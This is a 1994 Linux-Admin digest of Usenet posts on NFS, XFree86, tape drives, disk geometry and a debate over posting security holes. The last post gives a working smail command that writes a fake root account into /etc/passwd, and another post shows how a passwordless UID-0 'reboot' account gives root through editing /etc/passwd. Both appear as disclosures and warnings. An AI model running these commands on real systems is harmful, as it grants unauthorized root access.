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From: Digestifier <Linux-Admin-Request@senator-bedfellow.mit.edu>
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To: Linux-Admin@senator-bedfellow.mit.edu
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Reply-To: Linux-Admin@senator-bedfellow.mit.edu
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Date: Thu, 13 Oct 94 12:13:45 EDT
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Subject: Linux-Admin Digest #186
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Linux-Admin Digest #186, Volume #2 Thu, 13 Oct 94 12:13:45 EDT
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Contents:
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Linux as KingGod NFS Server to DOS Slaves (Peter Berger)
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HELP: kernel: NET: sock_accept: no more sockets (Ng Fo)
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Re: Please don't post security holess... (Todd R. Lawrence)
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SLS system passwd problems (Mike Shurtleff)
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Re: rdate not working (Andrew R. Tefft)
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Re: Q: XF86-3.1 and font scaling (Terry Gliedt)
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Re: Serious Bug In The Networking Code (Bart Kindt)
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Re: Please don't post security holess... (Yngvi Sigurjonsson)
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XFree86 3.1 and Diamond Stealth VRAM (Joerg Leinhoss)
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Re: Removable Hard Disk Support - warning (Keith Owens)
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Re: Big IDE- fdisk 'different phys/log...' (Delman Lee)
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Re: Compressed FS for Linux? (Jeff Kesselman)
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Re: Mystery Chip...AMD (Jeff Kesselman)
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Re: Tar and z option with DAT drive (sp@questor.org)
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Re: shutdown without root access -- SUMMARY (Bill C. Riemers)
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XFree 3.1, why upgrade?
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Ftape works. mt doesn't :( (Carlos Dominguez)
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Re: ftape + Highscreen/Vobis tape drive = ? (Marek Michalkiewicz)
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Re: Problems with Current Slackware TeX/LateX (Matt Warnock)
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Re: Big IDE- fdisk 'different phys/log...' (Delman Lee)
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Re: <Q> Can Linux Mount a Mac Floppy (Wade Maxfield)
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Re: Mystery Chip...AMD (Andrew Whyte)
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Re: Mystery Chip...AMD (Andrew Whyte)
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Re: RLOGIN security - more info! (Karsten Johansson)
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Re: Security hole - has noone noticed so far? (Karsten Johansson)
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Date: Tue, 11 Oct 1994 08:58:01 +0100
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From: pit@p2.lxs.baboon.ch (Peter Berger)
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Subject: Linux as KingGod NFS Server to DOS Slaves
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prang@du9ds4.fb9dv.uni-duisburg.de (Juergen Prang) wrote:
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>>Well, I use this one, too. For now just for files of the filebase of my
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>>fidonode.. But to use that seriously there should be consistent dates and ti
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> mes
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>>of the files. Did you solve that?
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> Another (shareware) DOS NFS client is xfs. It is available for
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> anonymous ftp from
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> ftp.uni-duisburg.de: /pub/pc/nfs/xfs186.zip
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I have this one "hanging around" in my filebase, too.. I took a look at v1.7? I
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think, but at that time a decided to use tsoft's nfs257* 'cause there's been
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much less (read: nothing, after \etc\hosts and \etc\fstab have been set up)
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configuration work to do. For XFS* one should write some batches to make it
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useable.. - just my opinion..
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Hm. I might give XFS* another try if I'd knew if it fixes the filedate problems
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- anyone? (yep, you're right, I'm lazy.. :-}).
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> like bwnfsd and pcnfsd for proper authorization at the NFS server.
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I suppose it's the sources originating from sunacm.swan.ac.uk (or such), right?
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bye,
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Peter
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e-mail: pit@lxs.baboon.ch
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From: ngfo@tst.hk.super.net (Ng Fo)
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Subject: HELP: kernel: NET: sock_accept: no more sockets
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Date: 12 Oct 1994 11:20:39 +0800
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I have the following complains from my syslogd when having lot's
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of incoming nntp connection. I'm running a slackware linux box with
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inn-1.4sec and nntplink3.3.
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Anyone know how to solve the problem, thanks very much.
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..ngfo
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=====================
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Oct 12 11:01:30 ssp kernel: <_accept: no more sockets
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Oct 12 11:01:30 ssp kernel: NET: sock_accept: no more sockets
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Oct 12 11:01:30 ssp last message repeated 65 times
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Oct 12 11:01:30 ssp Oct 12 11:01:<6>Oct 12 11:01:57 kernel: NET: sock_accept: no more sockets
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Oct 12 11:01:30 ssp kernel: NET: sock_accept: no more sockets
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Oct 12 11:01:30 ssp last message repeated 14 times
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Oct 12 11:01:30 ssp kernel: NET: sock_accept: no <6>Oct 12 11:01:57 kernel: NET: sock_accept: no more sockets
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Oct 12 11:01:30 ssp kernel: NET: sock_accept: no more sockets
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Oct 12 11:01:30 ssp last message repeated 14 times
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Oct 12 11:01:30 ssp kernel: NET: sock_accept: no <6>Oct 12 11:01:57 kernel: NET: sock_accept: no more sockets
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Oct 12 11:01:30 ssp kernel: NET: sock_accept: no more sockets
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Oct 12 11:01:33 ssp last message repeated 1045 times
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--
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..ngfo
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From: mutrl@uxa.ecn.bgu.edu (Todd R. Lawrence)
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Subject: Re: Please don't post security holess...
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Date: 11 Oct 1994 16:22:59 GMT
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: >
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: >: In a free and open society, ALL information should be available.
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: >: Many governments and orgs withhold information in the interest
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: >: of 'security' to the detriment of society as a whole. All this
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: >: done in the name of 'security'
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: >
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Can you truly be this much of an Idiot?
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Using this argument to rationalize hacking/cracking is the biggest Load of
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crap I have ever seen, I dont recall who actually made the above statement
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as I cut out most of the drivel. However Anyone who follows this flawed
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philosophy needs to grow up.
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--
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Todd Lawrence
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LOD Communications
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"I would like everyone to be nice to baby crabs..."
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From: shur@CAM.ORG (Mike Shurtleff)
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Subject: SLS system passwd problems
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Date: 11 Oct 1994 07:41:34 -0400
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I just loaded up the minimal (4Adisks) version of SLS 1.05. While I can
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assign
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passwords to non-root accounts from root.. I can't change passwords from
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the non-root accounts (for the same account of course).. I get bumped
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because it doesn't recognize the old password.
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If I try to change the root password on root, the change goes through
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..but the password is not the one entered..i.e. I lose access to my root
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account!
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Anyone experienced the same problem or have a solution? ...I want to
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resolve this before expanding my system.
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mike
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From: teffta@erie.ge.com (Andrew R. Tefft)
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Subject: Re: rdate not working
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Reply-To: teffta@erie.ge.com
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Date: Tue, 11 Oct 1994 13:16:49 GMT
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In article <FOX.94Oct8221350@first.cs.nyu.edu>, fox@graphics.cs.nyu.edu (David Fox) writes:
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>I've been trying to use the public domain "rdate" on a 1.1.51 linux
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>system without success. It works find on a Sparc, but on Linux
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>it gets "read timed out" errors. Any ideas?
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Good timing. I just saw your article today, but I uploaded a working rdate
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to sunsite last night. It should be still in Incoming.
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--
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Andy Tefft - new, expanded .sig - teffta@erie.ge.com
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From: tpg@mr.net (Terry Gliedt)
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Subject: Re: Q: XF86-3.1 and font scaling
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Date: 10 Oct 1994 14:04:06 -0500
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> The problem is the fact that it now takes quite a long time
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> for ez to come up the first time
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In the README.ez.wp for AUIS it says:
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> You can control whether AUIS asks for scaled fonts or not with the
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> preferences entry: "*.ScaleXFonts". If you do not scale fonts, then
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> successive calls to "Bigger" (for instance) may not result in a font
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> that you can SEE is different. When it prints, however, it will have the
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> larger font. This has been left to default so the fonts are scaled.
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> If/when we get better scalable fonts (like Adobe fonts), this will no
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> longer be an issue.
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Maybe the last sentence isn't quite right, but you can turn it off if
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you do not like this behavior. And I cannot blame you for not liking it.
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===================================================================
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Software Toolsmiths Terry Gliedt tpg@mr.net MIME OK 507-356-4710
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Crossposted-To: comp.os.linux.development,comp.os.linux.help
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From: bart@dunedin.es.co.nz (Bart Kindt)
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Subject: Re: Serious Bug In The Networking Code
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Date: Fri, 14 Oct 1994 05:39:23 GMT
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In article <dtran.395.2E997F32@emelnitz.ucla.edu> dtran@emelnitz.ucla.edu (Daniel Tran) writes:
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>Xref: otago.ac.nz comp.os.linux.development:12491 comp.os.linux.admin:11970 comp.os.linux.help:43483
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>Path: otago.ac.nz!canterbury.ac.nz!waikato!ames!ncar!gatech!howland.reston.ans.net!europa.eng.gtefsd.com!library.ucla.edu!news.mic.ucla.edu!emelnitz.ucla.edu!dtran
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>From: dtran@emelnitz.ucla.edu (Daniel Tran)
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>Newsgroups: comp.os.linux.development,comp.os.linux.admin,comp.os.linux.help
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>Subject: Re: Serious Bug In The Networking Code
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>Date: Mon, 10 Oct 1994 17:51:46 GMT
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>Organization: UCLA Arts - Theater/Film & TV Network Support
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>Lines: 17
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>Message-ID: <dtran.395.2E997F32@emelnitz.ucla.edu>
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>References: <KETIL.94Oct9183323@lomvi.ii.uib.no> <37a37b$a2d@Venus.mcs.com>
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>NNTP-Posting-Host: 128.97.175.99
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>X-Newsreader: Trumpet for Windows [Version 1.0 Rev A]
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>In article <37a37b$a2d@Venus.mcs.com> munster@MCS.COM (Jerry Ablan) writes:
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>>: There appears to be a serious bug in some of the networking code
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>>: supplied with linux/slackware, that causes the computer to get
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>>: 'network unreachable' after approximately 3 minutes of perfect
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>>: functioning. I have no idea what the problem might be, and if
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>>: somebody tell me where to look, I can try to figure out what versions
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>>: my drivers etc. are. Here are the configurations I ve gotten this
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>>: problem with:
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>>I've noticed that this occurs when you run routed. Do not run routed and see
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>>if it still happens.
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>>-- Jerry
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>Would running running routed with -q parameter help.
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>Daniel Tran - dtran@emelnitz.ucla.edu
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Routed overwrites the Kernel 1.0.xx memory tables. Eventually it will crash
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the system, depending how big the routing table becomes. I my case, within a
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few minutes. Routed does not work properly anyway (the Linux version). The
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only way out is Gated, which I now use all the time... BUT it cannot be used
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with the 1.0.xx kernels!
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So, if you MUST use a routed (gated) program, you also *must* use the new
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kernels. I am now using 1.1.52, which works fine as a multi-line SLIP dial-in
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server.
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====================================================================================
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Bart Kindt (ZL4FOX) System Operator, Efficient Software NZ LTD, Dunedin, New Zealand
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====================================================================================
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------------------------------
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From: yngvi@hafro.is (Yngvi Sigurjonsson)
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Subject: Re: Please don't post security holess...
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Date: 11 Oct 1994 16:11:02 GMT
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In <UiaLVpS00WB_8hmR8q@andrew.cmu.edu> "Bryan J. Ischo" <bi04+@andrew.cmu.edu> writes:
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>Excerpts from netnews.comp.os.linux.admin: 9-Oct-94 Re: Please don't
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>post secur.. by Steve Kneizys@acad.ursin
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>> If there was a security developers group, then the holes could
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>> be emailed to them for evaluation so as not to publicize the hole
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>> long before the fix. Or make a moderated comp.os.linux.security
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>> group?
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>>
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>> Just a few thoughts for discussion...
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>>
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>> Steve...
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> I agree completely. I certainly don't have time to sort through all
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>of the messages on these bboards (I'll probably even miss this one when
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>it shows up) but I really want to know the fixes (and the reasons for)
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>all of the security holes that people discover.
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> A mailing list or MODERATED newsgroup would be perfect.
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A mailing list would be more dangerous than current methods. All the truly
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bad people would be on the mailing list but not the not so security aware
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people, which are likely to attecked. But no matter what I say, I guess
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the truly bad people already have their mailing lists.
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And why should there be a moderated newsgroup? So that only the moderator
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would now about certain holes? You know everyone can read a moderated
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newsgroup. I would not want some moderator deciding what risks to take.
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--
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_ ____\\\_\\___ O >= Yngvi <20><>r Sigurj<72>nsson
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( \--___________o_\ o >= Directorate of Fisheries, Ing<6E>lfsstr<74>ti 1,
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(_/--____ \ _/ O >= 150 Reykjav<61>k, Iceland.
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// - ____-- ` o >= Tel:(354 1)697900 Fax: 697990
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From: leinhoss@rz.tu-ilmenau.de (Joerg Leinhoss)
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Subject: XFree86 3.1 and Diamond Stealth VRAM
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Date: 12 Oct 1994 10:18:15 GMT
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Hi,
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Supports XFree86 3.1 the Diamond Stealth VRAM (S3-924, SS2410,
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programable clock generator) ?
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Joerg
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leinhoss@rz.tu-ilmenau.de
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From: kaos@melbpc.org.au (Keith Owens)
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Subject: Re: Removable Hard Disk Support - warning
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Date: Thu, 06 Oct 1994 23:30:35 +0000
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In article <5Y6JkiaypsB@higgins.delbox.zer.de>, HIGGINS@DELBOX.ZER.DE wrote:
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> feksa@panix.com meinte am 30.09.94
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> zum Thema "Removable Hard Disk Support":
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>
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> > What types of removable hard disks are supported under Linux?
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> > E.g. Iomega 105/150 MB models
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> > SyQuest 44/88/105/200/270 MB models
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> > Bernoulli Box 35/65/90/105/150 MB models
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> > (This is pretty much all I've heard of.)
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>
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> All types of SCSI-removable-disks are supported, they are recognized as
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> hard-drives (removable) and must be mounted/umounted like all disks/
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> partitions.
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Warning: Some kernels do not correctly umount removable disks and can
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corrupt them right royally.
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I run a Syquest 270 SCSI and, while it mounts, reads and writes fine,
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when I umount it does not always flush some kernel data (inode cache?).
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Under 1.1.0 (1.0.9) I could umount one disk, mount another and ls still
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showed the old directory contents. This even led to inode information
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from the previous disk being written to the next disk I mounted,
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totally corrupting the filesystem. Admittedly these were DOG format
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but it still should not have happened.
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Matt Day <mday@artisoft.com> posted a super.c patch to flush the kernel
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structures on umount, I applied it and it fixed my problem. Alas as a
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side effect it marks all file systems dirty on closedown, requiring
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fsck on startup. No big deal, I can live with that. Matt also told me
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that this problem is supposed to be fixed in more recent kernels by
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some other changes to the SCSI code.
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From: delman@mipg.upenn.edu (Delman Lee)
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Subject: Re: Big IDE- fdisk 'different phys/log...'
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Date: 09 Oct 1994 21:34:19 GMT
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[*] Eric Zager writes:
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] After trying a number of configurations, I decided to install the
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] drive (a Western Digital AC2540, 540 Mb) on a second IDE card, so
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] that I could rule out the possibility of wierd interactions with
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] AT BIOS. The drive geometry is hard coded into the kernel
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] (1.1.52 w/ atdisk2-1.1.47+).
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Oh atdisk2 patch against 1.1.x kernels can be bound in
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mipgsun.mipg.upenn.edu:pub/delman
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] Disk /dev/hd1a: 16 heads, 63 sectors, 1048 cylinders Units
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I have only recently got a drive with more than 1024 cylinders. I
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think the temporary fix is to go into expert mode in fdisk and set the
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heads to 32, and cylinders to 524.
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Will try and fix it in the atdisk2 code....
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Delman.
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--
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______________________________________________________________________
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Delman Lee Tel.: +1-215-662-6780
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Medical Image Processing Group, Fax.: +1-215-898-9145
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University of Pennsylvania,
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4/F Blockley Hall, 423 Guardian Drive,
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Philadelphia, PA 19104-6021,
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U.S.A.. Internet: delman@mipg.upenn.edu
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______________________________________________________________________
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From: jeffpk@netcom.com (Jeff Kesselman)
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Subject: Re: Compressed FS for Linux?
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Date: Wed, 12 Oct 1994 17:38:50 GMT
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In article <1994Oct11.081931.16281@leeds.ac.uk>,
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N B Venkateswarlu <venkat@scs.leeds.ac.uk> wrote:
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>I remember some one mentioning "tcx-linux.tar.gz" to use for compressed
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>executables.
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>
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> venkat
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I don't know if this is a general faeture, but my Fall94 Yygdrasil has
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the ability to recognize the .gz extension and decompress a file as it
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loads it into memory- kinda a neat little trick.
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JK
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Crossposted-To: comp.sys.ibm.pc.hardware.systems,comp.os.linux.misc
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From: jeffpk@netcom.com (Jeff Kesselman)
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Subject: Re: Mystery Chip...AMD
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Date: Sun, 9 Oct 1994 19:20:12 GMT
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In article <3740ss$4kj@venera.isi.edu>, Daniel Zappala <daniel@isi.edu> wrote:
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>
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>In article <372tuk$1el@huron.eel.ufl.edu>, acg@kzin.cen.ufl.edu (Alexandra Griffin) writes:
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>> In article <371kim$emf@venera.isi.edu>, Daniel Zappala <daniel@isi.edu> wrote:
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>> >
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>> >In article <370rc5$o7q@crl.crl.com>, rigor@crl.com (Sam Brown) writes:
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>> >
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>> >I have an AMD 486DX-40. Any news on an add-in from AMD to turn this into a
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>> >486DX2-80, or do I need to buy a whole new chip?
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>>
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>> Nope, sorry... the dx/2 chips are different inside (have a PLL circuit
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>> to double their on-chip clock, and extra interface logic to hook up to
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>> the half-speed external bus), and of course you can't very well modify
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>> a silicon die after it's been made!
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>>
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>
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>
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>
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>
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>
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>
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>
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>But doesn't Intel sell a chip that upgrades a 486DX-33 into a 486DX2-66?
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>How do they manage that?
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>
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>
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>Daniel
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Answer: they don't. What they sell is a REPLACEMENT processor, the DX2/66.
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You pull your old chip out and plug the DX2-66 in instead. Since its
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EXTERNAL speed is still 33mhz, it looks to the rest of your machine like
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your old chip, but INTERNALLY it process instructions twice as fast.
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JK
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From: sp@questor.org
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Subject: Re: Tar and z option with DAT drive
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Date: 9 Oct 1994 14:33:04 -0700
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In article <377smd$lqc@mozo.cc.purdue.edu>,
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Garry Adkins <adkinsg@sonata.cc.purdue.edu> wrote:
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>Hi all!
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>
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>I'm going to buy a DAT drive in a few days, and I was wondering about
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>using the z option with the DAT drive... I assume that it slows
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>the speed of the backup, but does it have any other effect?
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I have been running a 4mm WangDat drive here for the past year or so, with
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no problems using a compressed (.z) backup. We bought ours as a refurbished
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unit (2gb) for around US$560. Worth every penny.
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From: bcr@k9.via.term.none (Bill C. Riemers)
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Subject: Re: shutdown without root access -- SUMMARY
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Date: 09 Oct 1994 22:10:15 GMT
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Reply-To: bcr@physics.purdue.edu
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>>>>> "Van" == Van Zandt <jrv@truth.mitre.org> writes:
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Van> Tony Peterman <automata@netcom.com> suggested changing the
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Van> login shell to "shutdown -r now". (Unfortunately my version
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Van> of login apparently doesn't allow the login shell to have
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Van> command line arguments.) He also cautions "make sure the
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Van> login dir is /, or you might have to fsck filesystems on
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Van> reboot".
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Van> Peter <PSA@thor.lfs.hamburg.cap-debis.de> allows users to
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Van> reboot from the login prompt by defining a user "reboot" with
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Van> no password, UID and GID of 0, login shell of bash, and a
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Van> startup file ~reboot/.bash_profile containing the command
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Van> "/sbin/reboot". He cautions that passwd(1) considers root
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Van> and reboot to be the same user:
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Alittle security hole there:
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su reboot -c 'vi /etc/passwd'
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Access to the 'reboot' or 'shutdown' account is equivlent to access
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to 'root'.
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If you do this, you might as well tell people the root password, and
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skip the extra account.
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Bill
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<EM> Department of Physics, Purdue University </EM></A>
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From: s010dls@alpha.wright.edu ()
|
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Subject: XFree 3.1, why upgrade?
|
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Date: Sun, 9 Oct 1994 22:33:57 GMT
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|
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I'm using XFree86 2.1.1 and I'm happy. What are the reason's for
|
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upgrading? I run X on a mach32 card, but I use 1280x1024 and I can't
|
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get more than 256 colors at that resolution anyway. So, hicolor and
|
||
truecolor are worthless to me. I finally have the Xconfig set up
|
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perfectly, so the new config file doesn't intrest me.
|
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|
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What else is there? I use Motif 1.2.4, and I also program for it. Is
|
||
there a possiblity that I won't be able to run other people's programs
|
||
if I'm not running X11R6? Any help would be appreciated. Thanks.
|
||
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|
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From: carlos@interport.net (Carlos Dominguez)
|
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Subject: Ftape works. mt doesn't :(
|
||
Date: 13 Oct 1994 10:01:02 -0400
|
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|
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Ftape is working OK now. But I'm trying to use mt to stash more than
|
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one tar archive per tape and It doesn't work.
|
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|
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I start by issuing a mt -f /dev/ftape erase
|
||
Then I do a tar dump to the tape
|
||
Then I rewind the tape
|
||
Then I do a mt -f /dev/ftape fsf 1
|
||
and do a mt -f /dev/ftape status and get a "0" in filemarks.
|
||
|
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What am I missing here ?
|
||
|
||
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From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
|
||
Subject: Re: ftape + Highscreen/Vobis tape drive = ?
|
||
Date: 13 Oct 1994 12:27:59 GMT
|
||
|
||
Joachim Wlodarz (jjw@tkemi.klb.dth.dk) wrote:
|
||
|
||
: Marek Michalkiewicz (ind43@sun1000.ci.pwr.wroc.pl) wrote:
|
||
: : Hi,
|
||
|
||
: : I'm going to buy a tape drive for backups. Does anyone have any
|
||
: : experiences with the Highscreen/Vobis tape drive under Linux?
|
||
: : It is a cheap "250MB" (really 120MB) tape drive, which connects
|
||
: : to the floppy controller. Will it work with ftape?
|
||
: : Yes, I have RTFM (Ftape-HOWTO) but this tape drive is not listed
|
||
: : there. They at the Vobis shop don't know about Linux.
|
||
|
||
: : Thanks in advance.
|
||
|
||
: : Marek Michalkiewicz
|
||
|
||
|
||
: This tape drive is in fact a standard CMS 250. It works fine under Linux,
|
||
: FreeBSD, OS/2, DOS/Win etc. However, its mechanical construction may be
|
||
: not very robust...
|
||
|
||
: -jjw.
|
||
|
||
Thanks! I just bought a Colorado Jumbo 250. It is not very robust, but
|
||
I am a student and I can't afford a "real" (read: >=525MB, SCSI-2) tape
|
||
drive at the moment...
|
||
I have some problems with this tape drive (lots of read-write errors),
|
||
but these errors occur under DOS too - but the same tape drive and the
|
||
same tapes work fine in my friend's system. Something must be wrong with
|
||
my machine (floppy controller? - but floppies work fine; power supply? -
|
||
maybe, I can see some changes in screen brightness when the tape drive
|
||
motor starts, maybe the voltage is not regulated very well). Please mail
|
||
me at the address below if you can help me. Thanks in advance.
|
||
|
||
Marek Michalkiewicz
|
||
ind43@ci3ux.ci.pwr.wroc.pl || marekm@i17linuxa.ists.pwr.wroc.pl
|
||
|
||
------------------------------
|
||
|
||
From: mwarnock@garlic.com (Matt Warnock)
|
||
Subject: Re: Problems with Current Slackware TeX/LateX
|
||
Date: 13 Oct 1994 07:12:24 -0700
|
||
|
||
In article <1994Oct12.155700.25087@news.cs.indiana.edu>,
|
||
Eric Jeschke <jeschke@cs.indiana.edu> wrote:
|
||
[snip]
|
||
>No, the problem with Slackware is that the directory where Metafont
|
||
>is trying to put the built fonts is write protected. Just make it
|
||
>world writable and you are all set.
|
||
>
|
||
>I don't remember the path exactly, but it is something like
|
||
>
|
||
>/usr/TeX/lib/texmf/fonts/public/tmp/pk
|
||
|
||
So, if this has to be world-writable, doesn't it violate FSSTD?
|
||
I thought /usr was supposed to be mountable as read-only.
|
||
Apparently TeX doesn't agree? Should this really be in a /var
|
||
directory?
|
||
|
||
|
||
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|
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|
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|
||
|
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|
||
|
||
From: delman@mipg.upenn.edu (Delman Lee)
|
||
Subject: Re: Big IDE- fdisk 'different phys/log...'
|
||
Date: 09 Oct 1994 23:35:06 GMT
|
||
|
||
[*] Delman Lee writes:
|
||
|
||
] Will try and fix it in the atdisk2 code....
|
||
|
||
The 1.1.52-diffs in mipgsun.mipg.upenn.edu:pub/delman should fix the
|
||
problem. It fakes the bios geometry from the real physical geometry by
|
||
halving the cylinders (and doubling the heads) until cyl<=1024.
|
||
|
||
Please give it a try.
|
||
|
||
Delman.
|
||
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|
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|
||
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|
||
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|
||
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|
||
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|
||
|
||
------------------------------
|
||
|
||
From: maxfield@ix.netcom.com (Wade Maxfield)
|
||
Subject: Re: <Q> Can Linux Mount a Mac Floppy
|
||
Date: 9 Oct 1994 22:20:31 GMT
|
||
|
||
In <1994Oct5.153300@hammer.westboro-ma.peritus.com> cummings@hammer.westboro-ma.peritus.com (Kevin Cummings) writes:
|
||
|
||
>
|
||
>In article <36mffk$pr5@news.cais.com>, bass@cais2.cais.com (Tim Bass (Network Systems Engineer)) writes:
|
||
>> Got some ASCII text files on my Powerbook... Would like to write them
|
||
>> to the PB floppy and then mount the floppy on my linux box and
|
||
>> read the ascii text (and do some other stuff). I haven't seen this
|
||
>> in any FAQ or the The Linux Bible. Any clues for the clueless ;-)
|
||
|
||
I think the easist way is to use the Macintosh program that translates files
|
||
from Mac Format to MSDOS format. In the process, it will also copy a file to a
|
||
dos formatted floppy.
|
||
|
||
Then, mount the floppy under linux (on my Yggdrasil version, mount -t msdos
|
||
-o conv=text /dev/fd0 /mnt), and copy the files onboard.
|
||
|
||
Wade
|
||
maxfield@ix.netcom.com
|
||
|
||
------------------------------
|
||
|
||
From: ba021@cq-pan.cqu.edu.au (Andrew Whyte)
|
||
Crossposted-To: comp.sys.ibm.pc.hardware.systems,comp.os.linux.misc
|
||
Subject: Re: Mystery Chip...AMD
|
||
Date: 9 Oct 1994 23:34:14 GMT
|
||
|
||
Daniel Zappala (daniel@isi.edu) wrote:
|
||
|
||
>In article <370rc5$o7q@crl.crl.com>, rigor@crl.com (Sam Brown) writes:
|
||
>> picked up a dx-2-80 amd, works great. $210 was my cost $320 w/green vlb
|
||
>> motherboard. extremely stable and fast
|
||
>>
|
||
|
||
>I have an AMD 486DX-40. Any news on an add-in from AMD to turn this into a
|
||
>486DX2-80, or do I need to buy a whole new chip?
|
||
|
||
Woah there!!!
|
||
|
||
The idea of a DX2 chip is an _internal_ clock double. IT uses some devices
|
||
to double the externl clock frequency, and the chip is designed for it....
|
||
|
||
It order to get a DX-40 to _go_ at 80Mhz you will need an external speed of
|
||
80Mhz which is currently not available, and besides doing this to the chip
|
||
would definatly fry it :)
|
||
|
||
I have a AMD DX-40 myself, and I changed to clock selector of the mother
|
||
board from 40Mhz to 50Mhz
|
||
, and now I have a DX-50 :) and without any glitches or over heating :) (I
|
||
also have always had a cpu cooler fan on it though :)
|
||
|
||
SO in basic answer to your question, No you can't. You will need a new chip
|
||
to do what you want.. But i would suggest you try the 50Mhz idea, it
|
||
increase all system aspects by 25% :) I'm happy.
|
||
|
||
|
||
>Daniel
|
||
|
||
--
|
||
=============================================================================
|
||
Andrew Whyte, | Email: ba021@cq-pan.cqu.edu.au
|
||
Bachelor of Info. Tech. | whytea@jasper.cqu.edu.au
|
||
Central Queensland University | whytea@topaz.cqu.edu.au
|
||
===================================IRC: Holo, Holodeck,Cry===================
|
||
|
||
------------------------------
|
||
|
||
From: ba021@cq-pan.cqu.edu.au (Andrew Whyte)
|
||
Crossposted-To: comp.sys.ibm.pc.hardware.systems,comp.os.linux.misc
|
||
Subject: Re: Mystery Chip...AMD
|
||
Date: 9 Oct 1994 23:35:49 GMT
|
||
|
||
Daniel Zappala (daniel@isi.edu) wrote:
|
||
|
||
>In article <372tuk$1el@huron.eel.ufl.edu>, acg@kzin.cen.ufl.edu (Alexandra Griffin) writes:
|
||
>> In article <371kim$emf@venera.isi.edu>, Daniel Zappala <daniel@isi.edu> wrote:
|
||
>> >
|
||
>> >In article <370rc5$o7q@crl.crl.com>, rigor@crl.com (Sam Brown) writes:
|
||
>> >
|
||
>> >I have an AMD 486DX-40. Any news on an add-in from AMD to turn this into a
|
||
>> >486DX2-80, or do I need to buy a whole new chip?
|
||
>>
|
||
>> Nope, sorry... the dx/2 chips are different inside (have a PLL circuit
|
||
>> to double their on-chip clock, and extra interface logic to hook up to
|
||
>> the half-speed external bus), and of course you can't very well modify
|
||
>> a silicon die after it's been made!
|
||
>>
|
||
|
||
|
||
>But doesn't Intel sell a chip that upgrades a 486DX-33 into a 486DX2-66?
|
||
>How do they manage that?
|
||
|
||
Its probably a confusing add which is really selling you either a DX2-66
|
||
overdrive or a DX2-66 straight cpu.
|
||
|
||
>Daniel
|
||
|
||
--
|
||
=============================================================================
|
||
Andrew Whyte, | Email: ba021@cq-pan.cqu.edu.au
|
||
Bachelor of Info. Tech. | whytea@jasper.cqu.edu.au
|
||
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|
||
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|
||
|
||
------------------------------
|
||
|
||
From: ksaj@csis.pcscav.com (Karsten Johansson)
|
||
Subject: Re: RLOGIN security - more info!
|
||
Date: Tue, 11 Oct 1994 18:24:19 GMT
|
||
|
||
Gregory Trubetskoy (grisha@cais.cais.com) wrote:
|
||
|
||
: irrelevant... elm is a link to tin, which is setuid to root...
|
||
|
||
Why? They are different programs altogether.
|
||
|
||
--
|
||
There are those who are born UNIX | Karsten Johansson
|
||
Those who are made UNIX | 416/691-9838
|
||
And those who become UNIX |
|
||
For the kingdom of heaven's sake | Matthew 19:12
|
||
|
||
------------------------------
|
||
|
||
Crossposted-To: comp.mail.smail
|
||
From: ksaj@csis.pcscav.com (Karsten Johansson)
|
||
Subject: Re: Security hole - has noone noticed so far?
|
||
Date: Wed, 12 Oct 1994 15:09:09 GMT
|
||
|
||
Martin Bartosch (martin2@perseus.ida.ing.tu-bs.de) wrote:
|
||
|
||
: while searching a flaw in my smail configuration files, I discovered
|
||
: a flaw in _my_ smail setup. I cannot say whether the following is
|
||
: true for every implementation and do not know if this has been
|
||
: reported before. So be gentle with me.
|
||
|
||
: /usr/lib/sendmail -d -D/etc/nologin noone@empty.space
|
||
|
||
|
||
try this:
|
||
|
||
smail -d -D/etc/passwd :0:0:FakeRoot:/home/root:/bin/sh
|
||
|
||
scary enough, you'll find a line like this in your password file:
|
||
|
||
write_log::0:0:FakeRoot:/home/root:/bin/sh ... error returned to ksaj
|
||
|
||
Fortunately there are a few instances of write_log before this line,
|
||
otherwise, you could do this, then login as write_log, and have root privs.
|
||
|
||
And of course there is this:
|
||
|
||
smail -d -D/etc/issue SYSOP@BETTER.FIX.THIS.BUG
|
||
|
||
--
|
||
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|
||
Those who are made UNIX | 416/691-9838
|
||
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|
||
For the kingdom of heaven's sake | Matthew 19:12
|
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